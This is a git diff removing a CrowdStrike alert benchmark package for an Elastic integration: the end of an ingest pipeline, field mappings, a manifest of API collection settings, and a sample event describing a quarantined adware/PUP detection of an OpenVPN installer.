allow_duplicates: false - if: ctx._hostname_from_name != null && ctx._hostname_from_name != '' - - remove: - field: - - _username_from_name - - _hostname_from_name - ignore_missing: true - - - fingerprint: - fields: - - event.id - - crowdstrike.alert.cid - - crowdstrike.alert.indicator_id - - crowdstrike.alert.updated_timestamp - target_field: _id - ignore_missing: true - - remove: - field: - - crowdstrike.alert.agent_id - - crowdstrike.alert.command_line - - crowdstrike.alert.description - - crowdstrike.alert.device.device_id - - crowdstrike.alert.device.external_ip - - crowdstrike.alert.device.hostinfo.domain - - crowdstrike.alert.device.hostname - - crowdstrike.alert.device.local_ip - - crowdstrike.alert.device.mac_address - - crowdstrike.alert.device.os_version - - crowdstrike.alert.device.platform_name - - crowdstrike.alert.device.system_manufacturer - - crowdstrike.alert.device.system_product_name - - crowdstrike.alert.device.tags - - crowdstrike.alert.end_time - - crowdstrike.alert.filename - - crowdstrike.alert.filepath - - crowdstrike.alert.host_name - - crowdstrike.alert.host_type - - crowdstrike.alert.id - - crowdstrike.alert.idp_policy_rule.id - - crowdstrike.alert.idp_policy_rule.name - - crowdstrike.alert.image_file_name - - crowdstrike.alert.location_country_code - - crowdstrike.alert.md5 - - crowdstrike.alert.operating_system - - crowdstrike.alert.os_name - - crowdstrike.alert.parent_details.cmdline - - crowdstrike.alert.parent_details.filename - - crowdstrike.alert.parent_details.filepath - - crowdstrike.alert.parent_details.md5 - - crowdstrike.alert.parent_details.sha256 - - crowdstrike.alert.parent_details.user_id - - crowdstrike.alert.parent_details.user_name - - crowdstrike.alert.parent_process_id - - crowdstrike.alert.process_end_time - - crowdstrike.alert.process_id - - crowdstrike.alert.process_start_time - - crowdstrike.alert.severity - - crowdstrike.alert.sha1 - - crowdstrike.alert.sha256 - - crowdstrike.alert.source.account_azure_id - - crowdstrike.alert.source.account_domain - - crowdstrike.alert.source.account_name - - crowdstrike.alert.source.endpoint_host_name - - crowdstrike.alert.source.endpoint_ip_address - - crowdstrike.alert.start_time - - crowdstrike.alert.tactic - - crowdstrike.alert.tags - - crowdstrike.alert.target.account_name - - crowdstrike.alert.target.domain_controller_host_name - - crowdstrike.alert.target.endpoint_host_name - - crowdstrike.alert.technique - - crowdstrike.alert.timestamp - - crowdstrike.alert.user_id - - crowdstrike.alert.user_name - tag: remove_custom_duplicate_fields - ignore_missing: true - if: ctx.tags == null || !(ctx.tags.contains('preserve_duplicate_custom_fields')) - - remove: - field: json - tag: remove_json - ignore_missing: true - - script: - lang: painless - description: Drops null/empty values recursively. - tag: painless_remove_null - source: |- - boolean drop(Object object) { - if (object == null || object == '') { - return true; - } else if (object instanceof Map) { - ((Map) object).values().removeIf(v -> drop(v)); - return (((Map) object).size() == 0); - } else if (object instanceof List) { - ((List) object).removeIf(v -> drop(v)); - return (((List) object).length == 0); - } - return false; - } - drop(ctx); - - set: - field: event.kind - tag: set_pipeline_error_to_event_kind_processor - value: pipeline_error - if: ctx.error?.message != null - - append: - field: tags - value: preserve_original_event - allow_duplicates: false - if: ctx.error?.message != null -on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - set: - field: event.kind - tag: set_pipeline_error_to_event_kind - value: pipeline_error - - append: - field: tags - value: preserve_original_event - allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml deleted file mode 100644 index a93aca0ee9..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml +++ /dev/null @@ -1,20 +0,0 @@ -- name: data_stream.type - type: constant_keyword - description: Data stream type. -- name: data_stream.dataset - type: constant_keyword - description: Data stream dataset. -- name: data_stream.namespace - type: constant_keyword - description: Data stream namespace. -- name: event.module - type: constant_keyword - description: Event module. - value: crowdstrike -- name: event.dataset - type: constant_keyword - description: Event dataset. - value: crowdstrike.alert -- name: '@timestamp' - type: date - description: Event timestamp. diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml deleted file mode 100644 index 4084f1dc7f..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml +++ /dev/null @@ -1,6 +0,0 @@ -- name: input.type - type: keyword - description: Type of filebeat input. -- name: log.offset - type: long - description: Log offset. diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml deleted file mode 100644 index bdc73a9cb9..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml +++ /dev/null @@ -1,9 +0,0 @@ -# Remove this file when kibana.version satisfied ^8.14. -- name: threat.tactic.id - external: ecs -- name: threat.technique.id - external: ecs -- name: threat.framework - external: ecs -- name: tags - external: ecs diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml deleted file mode 100644 index 2e8a6952ca..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml +++ /dev/null @@ -1,620 +0,0 @@ -- name: crowdstrike - type: group - fields: - - name: alert - type: group - fields: - - name: active_directory_authentication_method - type: long - - name: activity - type: group - fields: - - name: browser - type: keyword - - name: device - type: keyword - - name: id - type: keyword - - name: os - type: keyword - - name: agent_id - type: keyword - - name: agent_scan_id - type: keyword - - name: aggregate_id - type: keyword - - name: alert_attributes - type: long - - name: alleged_filetype - type: keyword - - name: assigned_to - type: group - fields: - - name: name - type: keyword - - name: uid - type: keyword - - name: uuid - type: keyword - - name: associated_files - type: group - fields: - - name: filepath - type: keyword - - name: sha256 - type: keyword - - name: child_process_ids - type: keyword - - name: cid - type: keyword - - name: cloud_indicator - type: boolean - - name: cmdline - type: keyword - - name: command_line - type: keyword - - name: comment - type: keyword - - name: composite_id - type: keyword - - name: confidence - type: long - - name: context_timestamp - type: date - - name: control_graph_id - type: keyword - - name: crawl_edge_ids - type: group - fields: - - name: Sensor - type: keyword - - name: crawl_vertex_ids - type: group - fields: - - name: Sensor - type: keyword - - name: crawled_timestamp - type: date - - name: created_timestamp - type: date - - name: data_domains - type: keyword - - name: description - type: keyword - - name: detect_type - type: keyword - - name: device - type: group - fields: - - name: agent_load_flags - type: long - - name: agent_local_time - type: date - - name: agent_version - type: keyword - - name: bios_manufacturer - type: keyword - - name: bios_version - type: keyword - - name: cid - type: keyword - - name: config_id_base - type: keyword - - name: config_id_build - type: keyword - - name: config_id_platform - type: long - - name: external_ip - type: ip - - name: first_seen - type: date - - name: groups - type: keyword - - name: hostinfo - type: group - fields: - - name: active_directory_dn_display - type: keyword - - name: domain - type: keyword - - name: hostname - type: keyword - - name: id - type: keyword - - name: last_seen - type: date - - name: local_ip - type: ip - - name: mac_address - type: keyword - - name: machine_domain - type: keyword - - name: major_version - type: keyword - - name: minor_version - type: keyword - - name: modified_timestamp - type: date - - name: os_version - type: keyword - - name: ou - type: keyword - - name: platform_id - type: keyword - - name: platform_name - type: keyword - - name: pod_labels - type: keyword - - name: product_type - type: keyword - - name: product_type_desc - type: keyword - - name: site_name - type: keyword - - name: status - type: keyword - - name: system_manufacturer - type: keyword - - name: system_product_name - type: keyword - - name: tags - type: keyword - - name: display_name - type: keyword - - name: documents_accessed - type: group - fields: - - name: filename - type: keyword - - name: filepath - type: keyword - - name: timestamp - type: date - - name: email_sent - type: boolean - - name: end_time - type: date - - name: event_id - type: keyword - - name: executables_written - type: group - fields: - - name: filename - type: keyword - - name: filepath - type: keyword - - name: timestamp - type: date - - name: falcon_host_link - type: keyword - - name: file_writes - type: group - fields: - - name: name - type: keyword - - name: sha256 - type: keyword - - name: filename - type: keyword - - name: filepath - type: keyword - - name: files_accessed - type: group - fields: - - name: filename - type: keyword - - name: filepath - type: keyword - - name: timestamp - type: date - - name: files_written - type: group - fields: - - name: filename - type: keyword - - name: filepath - type: keyword - - name: timestamp - type: date - - name: global_prevalence - type: keyword - - name: grandparent_details - type: group - fields: - - name: cmdline - type: keyword - - name: filename - type: keyword - - name: filepath - type: keyword - - name: local_process_id - type: keyword - - name: md5 - type: keyword - - name: process_graph_id - type: keyword - - name: process_id - type: keyword - - name: sha256 - type: keyword - - name: timestamp - type: date - - name: user_graph_id - type: keyword - - name: user_id - type: keyword - - name: user_name - type: keyword - - name: has_script_or_module_ioc - type: boolean - - name: host_name - type: keyword - - name: host_type - type: keyword - - name: id - type: keyword - - name: idp_policy - type: group - fields: - - name: enforced_externally - type: long - - name: mfa_factor_type - type: long - - name: mfa_provider - type: long - - name: rule_action - type: long - - name: rule_trigger - type: long - - name: rule_id - type: keyword - - name: rule_name - type: keyword - - name: image_file_name - type: keyword - - name: incident - type: group - fields: - - name: created - type: date - - name: end - type: date - - name: id - type: keyword - - name: score - type: double - - name: start - type: date - - name: indicator_id - type: keyword - - name: ioc_context - type: group - fields: - - name: cmdline - type: keyword - - name: ioc_description - type: keyword - - name: ioc_source - type: keyword - - name: ioc_type - type: keyword - - name: ioc_value - type: keyword - - name: md5 - type: keyword - - name: sha256 - type: keyword - - name: type - type: keyword - - name: ioc_description - type: keyword - - name: ioc_source - type: keyword - - name: ioc_type - type: keyword - - name: ioc_value - type: keyword - - name: ioc_values - type: keyword - - name: is_synthetic_quarantine_disposition - type: boolean - - name: ldap_search_query_attack - type: long - - name: local_prevalence - type: keyword - - name: local_process_id - type: keyword - - name: location_country_code - type: keyword - - name: location_latitude_as_int - type: long - - name: location_longitude_as_int - type: long - - name: logon_domain - type: keyword - - name: md5 - type: keyword - - name: model_anomaly_indicators - type: keyword - - name: name - type: keyword - - name: network_accesses - type: group - fields: - - name: access_timestamp - type: date - - name: access_type - type: long - - name: connection_direction - type: keyword - - name: isIPV6 - type: boolean - - name: local_address - type: ip - - name: local_port - type: long - - name: protocol - type: keyword - - name: remote_address - type: ip - - name: remote_port - type: long - - name: objective - type: keyword - - name: operating_system - type: keyword - - name: os_name - type: keyword - - name: overwatch_note - type: keyword - - name: overwatch_note_timestamp - type: date - - name: parent_details - type: group - fields: - - name: cmdline - type: keyword - - name: filename - type: keyword - - name: filepath - type: keyword - - name: local_process_id - type: keyword - - name: md5 - type: keyword - - name: process_graph_id - type: keyword - - name: process_id - type: keyword - - name: sha256 - type: keyword - - name: timestamp - type: date - - name: user_graph_id - type: keyword - - name: user_id - type: keyword - - name: user_name - type: keyword - - name: parent_process_id - type: keyword - - name: pattern_disposition - type: long - - name: pattern_disposition_description - type: keyword - - name: pattern_disposition_details - type: group - fields: - - name: blocking_unsupported_or_disabled - type: boolean - - name: bootup_safeguard_enabled - type: boolean - - name: containment_file_system - type: boolean - - name: critical_process_disabled - type: boolean - - name: detect - type: boolean - - name: fs_operation_blocked - type: boolean - - name: handle_operation_downgraded - type: boolean - - name: inddet_mask - type: boolean - - name: indicator - type: boolean - - name: kill_action_failed - type: boolean - - name: kill_parent - type: boolean - - name: kill_process - type: boolean - - name: kill_subprocess - type: boolean - - name: mfa_required - type: boolean - - name: operation_blocked - type: boolean - - name: policy_disabled - type: boolean - - name: prevention_provisioning_enabled - type: boolean - - name: process_blocked - type: boolean - - name: quarantine_file - type: boolean - - name: quarantine_machine - type: boolean - - name: registry_operation_blocked - type: boolean - - name: response_action_already_applied - type: boolean - - name: response_action_failed - type: boolean - - name: response_action_triggered - type: boolean - - name: rooting - type: boolean - - name: sensor_only - type: boolean - - name: suspend_parent - type: boolean - - name: suspend_process - type: boolean - - name: pattern_id - type: keyword - - name: platform - type: keyword - - name: poly_id - type: keyword - - name: prevented - type: boolean - - name: process_end_time - type: date - - name: process_id - type: keyword - - name: process_start_time - type: date - - name: product - type: keyword - - name: protocol_anomaly_classification - type: long - - name: quarantined - type: boolean - - name: quarantined_files - type: group - fields: - - name: filename - type: keyword - - name: id - type: keyword - - name: sha256 - type: keyword - - name: state - type: keyword - - name: rule_group_id - type: keyword - - name: rule_group_name - type: keyword - - name: rule_instance_created_by - type: keyword - - name: rule_instance_id - type: keyword - - name: rule_instance_name - type: keyword - - name: rule_instance_version - type: keyword - - name: scan_id - type: keyword - - name: scenario - type: keyword - - name: seconds_to_resolved - type: long - - name: seconds_to_triaged - type: long - - name: severity - type: long - - name: severity_name - type: keyword - - name: sha1 - type: keyword - - name: sha256 - type: keyword - - name: show_in_ui - type: boolean - - name: source - type: group - fields: - - name: account_azure_id - type: keyword - - name: account_domain - type: keyword - - name: account_name - type: keyword - - name: account_object_guid - type: keyword - - name: account_object_sid - type: keyword - - name: account_sam_account_name - type: keyword - - name: account_upn - type: keyword - - name: endpoint_account_object_guid - type: keyword - - name: endpoint_account_object_sid - type: keyword - - name: endpoint_address_ip4 - type: ip - - name: endpoint_host_name - type: keyword - - name: endpoint_ip_address - type: ip - - name: endpoint_ip_reputation - type: long - - name: endpoint_sensor_id - type: keyword - - name: ip_isp_classification - type: long - - name: ip_isp_domain - type: keyword - - name: source_products - type: keyword - - name: source_vendors - type: keyword - - name: start_time - type: date - - name: status - type: keyword - - name: tactic - type: keyword - - name: tactic_id - type: keyword - - name: tags - type: keyword - - name: target - type: group - fields: - - name: account_name - type: keyword - - name: domain_controller_host_name - type: keyword - - name: domain_controller_object_guid - type: keyword - - name: domain_controller_object_sid - type: keyword - - name: endpoint_account_object_guid - type: keyword - - name: endpoint_account_object_sid - type: keyword - - name: endpoint_host_name - type: keyword - - name: endpoint_sensor_id - type: keyword - - name: service_access_identifier - type: keyword - - name: technique - type: keyword - - name: technique_id - type: keyword - - name: template_instance_id - type: keyword - - name: timestamp - type: date - - name: tree_id - type: keyword - - name: tree_root - type: keyword - - name: triggering_process_graph_id - type: keyword - - name: type - type: keyword - - name: updated_timestamp - type: date - - name: user_id - type: keyword - - name: user_name - type: keyword - - name: user_principal - type: keyword - - name: worker_node_name - type: keyword diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml deleted file mode 100644 index 3849521166..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml +++ /dev/null @@ -1,94 +0,0 @@ -title: Collect Alert logs from CrowdStrike. -type: logs -streams: - - input: cel - title: Falcon Alerts - description: Collect Unified Alerts from CrowdStrike Falcon Intelligence. - enabled: false - template_path: cel.yml.hbs - vars: - - name: initial_interval - type: text - title: Initial Interval - description: How far back to pull the Alert logs from CrowdStrike. Supported units for this parameter are h/m/s. - multi: false - required: true - show_user: true - default: 24h - - name: interval - type: text - title: Interval - description: Duration between requests to the CrowdStrike API. By default, differential data is pulled once per day. Supported units for this parameter are h/m/s. - default: 24h - multi: false - required: true - show_user: true - - name: batch_size - type: integer - title: Batch Size - description: Batch size for the response of the CrowdStrike API. It must be between 1 - 1000. - default: 1000 - multi: false - required: true - show_user: false - - name: http_client_timeout - type: text - title: HTTP Client Timeout - description: Duration before declaring that the HTTP client connection has timed out. Valid time units are ns, us, ms, s, m, h. - multi: false - required: true - show_user: false - default: 30s - - name: query - type: text - title: FQL Query - description: This is an additional FQL query that may be included in requests to the API. You should not include any reference to the `timestamp` property. See the [FalconPy documentation](https://www.falconpy.io/Usage/Falcon-Query-Language.html) for details. - multi: false - required: false - show_user: false - - name: enable_request_tracer - type: bool - title: Enable request tracing - default: false - multi: false - required: false - show_user: false - description: >- - The request tracer logs requests and responses to the agent's local file-system for debugging configurations. - Enabling this request tracing compromises security and should only be used for debugging. Disabling the request - tracer will delete any stored traces. - See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-cel.html#_resource_tracer_enable) - for details. - - name: tags - type: text - title: Tags - multi: true - required: true - show_user: false - default: - - forwarded - - crowdstrike-alert - - name: preserve_original_event - required: true - show_user: true - title: Preserve original event - description: Preserves a raw copy of the original event, added to the field `event.original`. - type: bool - multi: false - default: false - - name: preserve_duplicate_custom_fields - required: true - show_user: false - title: Preserve duplicate custom fields - description: Preserve crowdstrike.alert fields that were copied to Elastic Common Schema (ECS) fields. - type: bool - multi: false - default: false - - name: processors - type: yaml - title: Processors - multi: false - required: false - show_user: false - description: >- - Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details. diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json deleted file mode 100644 index 680f31dc1f..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json +++ /dev/null @@ -1,364 +0,0 @@ -{ - "@timestamp": "2023-11-03T18:00:22.328Z", - "agent": { - "ephemeral_id": "efb69ba7-0736-4cf7-a39f-70f3183e7530", - "id": "d541c008-3558-403d-9392-4faa6d42fcb4", - "name": "elastic-agent-43429", - "type": "filebeat", - "version": "8.18.0" - }, - "crowdstrike": { - "alert": { - "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "alleged_filetype": "exe", - "cid": "92012896127c4a948236ba7601b886b0", - "cloud_indicator": false, - "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"", - "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "confidence": 10, - "context_timestamp": "2023-11-03T18:00:31.000Z", - "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778", - "crawl_edge_ids": { - "Sensor": [ - "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N", - "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_='rK/'hA\"r+L5i-*Ut5PI!!*'!", - "N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr", - "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'", - "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06/I6cl\"d.&=To@9kS!prs8N" - ] - }, - "crawl_vertex_ids": { - "Sensor": [ - "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135", - "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", - "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993", - "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425" - ] - }, - "crawled_timestamp": "2023-11-03T19:00:23.985Z", - "created_timestamp": "2023-11-03T18:01:23.995Z", - "data_domains": [ - "Endpoint" - ], - "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", - "device": { - "agent_load_flags": 0, - "agent_local_time": "2023-10-12T03:45:57.753Z", - "agent_version": "7.04.17605.0", - "bios_manufacturer": "ABC", - "bios_version": "F8CN42WW(V2.05)", - "cid": "92012896127c4a948236ba7601b886b0", - "config_id_base": "65994763", - "config_id_build": "17605", - "config_id_platform": 3, - "external_ip": "81.2.69.142", - "first_seen": "2023-04-07T09:36:36.000Z", - "groups": [ - "18704e21288243b58e4c76266d38caaf" - ], - "hostinfo": { - "active_directory_dn_display": [ - "WinComputers", - "WinComputers\\ABC" - ], - "domain": "ABC.LOCAL" - }, - "hostname": "ABC709-1175", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "last_seen": "2023-11-03T17:51:42.000Z", - "local_ip": "81.2.69.142", - "mac_address": "AB-21-48-61-05-B2", - "machine_domain": "ABC.LOCAL", - "major_version": "10", - "minor_version": "0", - "modified_timestamp": "2023-11-03T17:53:43.000Z", - "os_version": "Windows11", - "ou": [ - "ABC", - "WinComputers" - ], - "platform_id": "0", - "platform_name": "Windows", - "product_type": "1", - "product_type_desc": "Workstation", - "site_name": "Default-First-Site-Name", - "status": "normal", - "system_manufacturer": "LENOVO", - "system_product_name": "20VE" - }, - "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "grandparent_details": { - "cmdline": "C:\\Windows\\system32\\userinit.exe", - "filename": "userinit.exe", - "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", - "local_process_id": "4328", - "md5": "b07f77fd3f9828b2c9d61f8a36609741", - "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135", - "process_id": "392734873135", - "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "timestamp": "2023-10-30T16:49:19.000Z", - "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "yuvraj.mahajan" - }, - "has_script_or_module_ioc": true, - "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "ioc_context": [ - { - "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "ioc_source": "library_load", - "ioc_type": "hash_sha256", - "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "type": "module" - } - ], - "ioc_values": [ - "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" - ], - "is_synthetic_quarantine_disposition": true, - "local_process_id": "17076", - "logon_domain": "ABSYS", - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "name": "PrewittPupAdwareSensorDetect-Lowest", - "objective": "FalconDetectionMethod", - "parent_details": { - "cmdline": "C:\\WINDOWS\\Explorer.EXE", - "filename": "explorer.exe", - "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", - "local_process_id": "1040", - "md5": "8cc3fcdd7d52d2d5221303c213e044ae", - "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", - "process_id": "392736520876", - "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "timestamp": "2023-11-03T18:00:32.000Z", - "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "mohit.jha" - }, - "parent_process_id": "392736520876", - "pattern_disposition": 2176, - "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.", - "pattern_disposition_details": { - "blocking_unsupported_or_disabled": false, - "bootup_safeguard_enabled": false, - "critical_process_disabled": false, - "detect": false, - "fs_operation_blocked": false, - "handle_operation_downgraded": false, - "inddet_mask": false, - "indicator": false, - "kill_action_failed": false, - "kill_parent": false, - "kill_process": false, - "kill_subprocess": false, - "operation_blocked": false, - "policy_disabled": false, - "process_blocked": true, - "quarantine_file": true, - "quarantine_machine": false, - "registry_operation_blocked": false, - "rooting": false, - "sensor_only": false, - "suspend_parent": false, - "suspend_process": false - }, - "pattern_id": "5761", - "platform": "Windows", - "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==", - "process_end_time": "2023-11-03T18:00:21.000Z", - "process_id": "399748687993", - "process_start_time": "2023-11-03T18:00:13.000Z", - "product": "epp", - "quarantined_files": [ - { - "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "state": "quarantined" - } - ], - "scenario": "NGAV", - "severity": 30, - "severity_name": "low", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "show_in_ui": true, - "source_products": [ - "FalconInsight" - ], - "source_vendors": [ - "CrowdStrike" - ], - "status": "new", - "tactic": "MachineLearning", - "tactic_id": "CSTA0004", - "technique": "Adware/PUP", - "technique_id": "CST0000", - "timestamp": "2023-11-03T18:00:22.328Z", - "tree_id": "1931778", - "tree_root": "38687993", - "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993", - "type": "ldt", - "updated_timestamp": "2023-11-03T19:00:23.985Z", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "mohit.jha" - } - }, - "data_stream": { - "dataset": "crowdstrike.alert", - "namespace": "96581", - "type": "logs" - }, - "device": { - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "manufacturer": "LENOVO", - "model": { - "name": "20VE" - } - }, - "ecs": { - "version": "8.17.0" - }, - "elastic_agent": { - "id": "d541c008-3558-403d-9392-4faa6d42fcb4", - "snapshot": true, - "version": "8.18.0" - }, - "event": { - "agent_id_status": "verified", - "category": [ - "process" - ], - "dataset": "crowdstrike.alert", - "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "ingested": "2025-10-09T10:20:29Z", - "kind": "alert", - "original": 